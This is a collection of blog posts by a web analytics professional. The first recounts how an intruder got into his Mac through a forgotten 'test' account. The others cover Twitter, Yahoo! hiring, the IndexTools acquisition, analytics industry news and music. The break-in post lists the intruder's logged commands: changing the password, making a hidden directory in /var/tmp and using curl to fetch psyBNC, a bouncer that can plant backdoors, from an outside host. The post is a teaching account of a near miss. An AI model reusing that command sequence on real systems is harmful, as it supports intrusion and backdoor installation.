I am so ashamed.

I was once a system & network manager, so I know about things like bad passwords and scanning software. Later, I built firewalls for Sun. Lately I’ve lectured on the importance of locking down your web analytics data, and the precautions you need to take. So imagine my shock to discover that my home desktop Mac was broken into. Yep. I had enabled remote logins through my firewall, which is innocent enough, but during a fit of debugging some USB problems, I set up new user named “test” with a password of .. you guessed it. I remember at the time thinking “don’t pick ‘test’ as a user name, and certainly don’t use it as the password” but I was in a hurry and I did it anyway. I finished my debugging, but forgot about the account.

Oh, and of course, I set it up with full administrator privileges.

Tonight I’m poking through my log files (I’m still debugging for the source of this USB error on my system, it’s driving me nuts), and I notice that some scanning software came by today, trying to log into zillions of accounts. I was smugly scrolling through the list of user names it was trying until I got to “test” and … it didn’t log in. It didn’t know the password. I first thought, holy crap, I left that account enabled. Then I thought, how could it not guess the password?

The reason: because somebody else had, three days ago. And changed it.

I brought up a Terminal window, and typed “last test” which gives me a list of the previous logins. Sure enough, some fine program/human had logged in to my system three days ago, and stayed for 1 minute. So I went to the “test” home directory, where I conveniently found a list of what happened when they logged in:

1. w
2. passwd
3. uname -a
4. exit
5. cd /var/tmp
6. mkdir " "
7. cd " "
8. curl -O geocities.com/myhael_ilie/psyd,tar.gz
9. curl -O geocities.com/myhael_ilie/psyd,tar.gz
10. exit

Translation:

1. See who’s on.
2. Change the password for user “test”.
3. See what kind of system this is.
4. Logout.
5. Go to a folder commonly used for temporary files.
6. Create a folder named ” ” (just a single space).
7. Change to that folder.
8. Download a file from the web.
9. Try the download again.
10. Give up, and log out.

So why did the curl commands fail? It’s because I use Little Snitch, which asks my permission every time a random command tries to access the Internet. Since I wasn’t at the computer at the time, I never gave my OK, and Little Snitch prevented the ‘curl’ from working. The person would have seen this:

curl: (7) Failed to connect to 66.218.77.68: Host is down

So what was in psyd,tar.gz? Well, actually it’s a typo. The real name doesn’t have a comma in it, but the person who logged in didn’t notice the mistake because of the “host is down” message. I grabbed the correct file and took a look at it. It is psyBNC, an “IRC bouncer”, but can be used to install backdoors and other nastiness. The file contains the complete source code, as well as a fully-functioning Mac executable.

Fortunately, that’s the end of the story. Several lessons here, ones which I’ve told others far too many times:

1. Do what you can to prevent break-ins.
2. Log everything so you can figure out how the inevitable break-in happened.
3. Convenience is often at the expense of security

I was incredibly lucky. A simple sudo bash would have given this person root access, and they could have erased everything on my system, or worse. In fact, they could have, and then erased all traces of what they did, but I have enough logging and checks to know that they didn’t do anything but what’s described above.

I humbly admit all of this in the hope that you can learn from my near miss.

And yes, I removed the “test” account.

There’s a critical mass (or tipping point, if you are so inclined) of people you need to follow such that a micro-community emerges. Once that happens, you get two things. One is quick notification of important/interesting events/news/blog posts. In fact since I’m following so many web analytics folks, I no longer have to rely on my RSS reader to bring me the big stories — the community points them out. Of course you need to be following the right people for your interests - people who say interesting things.

Second is ability to get feedback. I admit I don’t use this a lot, but it can be handy, depending on your community size. Of course it didn’t help me find a 13-year old copy of Windows…

(In response to Eric’s comment in one of his posts, yeah, my “lazy blogger” tweet to him, welcoming him to Twitter, was paraphrased from something June said to me at eMetrics last spring, about Twitter being the lazy man’s blog. At the time I couldn’t tell if she felt it was a compliment or a condemnation, but now I know.)

What with all the news about Yahoo! laying off people, you could be forgiven for thinking that the company isn’t hiring. But in fact, it is. The company “de-invested” in several areas, but is increasing investment in others. Even the data team changed a number of projects, which impacted some people. But Y! is hiring, and the data team is hiring. In fact we really need help, especially if you know C++ and/or SQL. Details are at http://careers.yahoo.com/

I would say generally that baseball statistics are always trying to mislead you, and that it is a constant battle not to be misled by them.

…

We haven’t figured out anything yet. A hundred years from now, we won’t have begun to have the game figured out.

and to who should have a larger role in player evaluations, scouts or stats guys:

Ninety-five percent scouts, five percent stats. [...] the knowledge of who will improve is vastly more important than the knowledge of who is good. Stats can tell you who is good, but they’re almost 100 percent useless when it comes to who will improve.

I’m really jazzed about it. IndexTools is a great group that’s been laser focused on the stuff that customers care about. They have a very practical attitude towards their products. Because they started in 2000, they learned from the pioneers, and built a deep analytics system that really works well. That much was clear as soon as we popped the hood and poked around inside .. unlike a lot of their competition, they didn’t have an old and a new product that they bolted together.

So does this mean we’re going to do “Yahoo! Analytics”, and try to “steal” web sites away from Google Analytics or the commercial web analytics vendors? See, that’s not what this is about. Yahoo! has stated its desire to be a “partner of choice”, and as the new Yahoo! strategy began to sink in, it became clear that the new Yahoo! was going to need to offer a new level of products to its partners. We have many, many thousands of small and medium businesses partnering with us now, and we want to make sure they have the tools they need. We’ve already announced an open strategy where developers can take advantage of Yahoo! products and services; we want to make sure they get the analytics they need too. Yahoo! has so many partners in so many places that can benefit from this technology, it became clear — even obvious — it was now the right thing to do.

Yeah, we still have a team working on analytics solutions for our “owned and operated” world — Yahoo! is too big a customer for IndexTools, or any other commercial vendor for that matter. There’s a world of difference between massive scale for one huge customer, and massive scale for a huge number of small and medium-sized customers. Now we have both.

As for what this means for the web analytics industry, I’ll leave that to the pundits, analysts and fortune tellers.

Here’s some of the combined team after a day of meetings at IndexTools.

(and yes, that’s Dennis at the head of the table, farthest away from the camera.)

Some reactions from around the web:

• Dennis Mortensen
• Eric Peterson
• Rene Dechamps Otamendi
• Julien Coquet
• Michael Wexler
• Ian Thomas
• Anil Batra
• Marshall Sponder
• Lars Johansson
• Jim Sterne
• Chris Hill
• John Lovett

The web analytics is easy / hard discussion among various thought leaders has been interesting but I can’t help but think a little self-serving. I had a long preachy post ready to go but even I was bored by it. Instead, let me offer some observations:

Technology:

• Web data is messy. It doesn’t fit into cubes (think path analysis by segment) for instance. So it requires special handling.
• Web data is noisy. Think robots and cookie deletion.
• Web analytics is nonstandard. Despite the efforts of the IAB, WAA and others, nobody can say “we use the computation standard to determine this” - because there is no computation standard. Count web 2.0 for me…

If you want to chase the rabbit down the hole, you’ll decide that web analytics is hard. if you want to defer these kinds of things to a tool vendor who will sell you turnkey “best practices” then web analytics is easy.

Process:

• In business, speed of deployment is king. Thus it’s easier to look at pre-built reports than create them from scratch.
• Lack of integration with the business goals means lack of actionability. Most analytics is like driving by looking into the glove box - interesting but irrelevant.
• As a result of the first two, there’s an emphasis on quantitative over qualitative analysis — which means there very little “analytics” at all, just metrics trending.
• When you don’t first design your analysis from business goals, you grab as much data as you can, and pick and choose the data that supports your hypothesis — either you’re in report hell, or analysis paralysis. For a very visceral example of this, look at how most people do experimentation.

If you design your analytics to meet your strategy, and staff for it, the implementation is long (and complex, yes) but the resulting analytics are easy. If you want to defer to a tool vendor who will sell you turnkey “best practices” then web analytics is hard.

A good manicure. French, maybe.

But really, this is all soo sad because the reality is that. . . .

Web Analytics is like a drag queen: It has Really Big Hair, killer eye makeup, and knows how to promote itself:

Right?

We believe it, but how do we get to a point where others in the organization do as well?

Step One for each and everyone of us (and you are unique and abnormal in that you read a web analytics blog!) is to accept and recognize the fact that Web Analytics might might be seen as outside the mainstream and a bit freakish. Once you accept then you can move on and do something about it.

I think that’s all the steps required, really!

With extreme apologies to Avinash, and extreme thanks to June.

PS to Jim Sterne: no, I will not. Don’t even ask, ‘K?

eMetrics from Jim Sterne, who probably needs no introduction, and

Welcome to the discussion, Jim and William!

(As always, when I find new blogs that seem to touch on web analytics, I tag them with the wablogger keyword on del.icio.us. Social bookmarking, baby! Sure beats keeping a blogroll up to date.)

The press release quotes Dan: “The web analytics market is forecast for nearly 20% growth in 2008, and the growth in enterprise marketing software is even greater.” Looks like the gauntlet has been thrown — this looks like a CEO challenge to WebTrends to do better than 20% growth this year.

It’s great to see such a venerable player getting past the cloud of uncertainty. I don’t know anything about WebTrends’ plans, but given Dan’s recent past at Google, expect to see an emphasis on partners.

Every week the sleepy world of web analytics has something interesting happening. I can’t wait to see what gets the buzz this week.

(How things have changed: when Accrue did its IPO nine years ago, we raised something like $39M. It just goes to show that there’s a lot of money available outside the public markets.)

Good for Coremetrics that their investors see enough demand to hand over such a large sum. It certainly bucks the conventional wisdom that Coremetrics was slowly withering away — it should put new life into their deals and a new swagger in their walk. Reading the press release, I can imagine the message to investors: we are not constrained by the market, the competition, or our technology: we need more feet on the street.

Now with the release of Mac OS X 10.5.2, and perhaps due to updates to iPhoto and Aperture, Apple is able to push new camera support much quicker than before:

Would we be seeing this kind of turnaround on new cameras without competition from Adobe? Hard to say — but it’s clear that Apple heard the cries of its market and responded.

Have a good day! And a tip o’the cap to the Good People at AOL who keep Mr. Penguin in anchovies in return for a little education gig he does for them.

PS oh, and did you know that Google doesn’t track you around the web? Hahahahahahaha!

PPS Seriously, why doesn’t AOL focus on the benefits of BT — like that the ads you’ll get are actually relevant? I am also concerned that they are confusing BT with tracking across an ad network. They are not the same. As it is, what I see from the storyboard is I get a TRACKING COOKIE ON MY COMPUTER followed closely by somebody thinking “I should remove that cookie”… is BT the new cookie? Is the cookie the new cookie?

I have the iPhone, manage my music with iTunes, and all that. But until today, I never actually purchased any music in digital-only format. Maybe I’m just old-fashioned (or just old), but I like the physical medium. I’m sure the recording industry wishes there were more of me…

Today I read that Most fans paid $0 for Radiohead album, and being a Radiohead fan, remembered I hadn’t heard “In Rainbows” yet. So it’s off to the Radiohead site, and a few british pounds later, downloaded the “album”.

It’s ten songs in 160kbps MP3 format. Not archival quality, for sure. It comes with the basic ID3 tags mostly in place, except genre. But the songs themselves — the music — just fabulous.

Since there’s no cover art, I made my own, a screen snap from the In Rainbows site. Because, you know, for Cover Flow.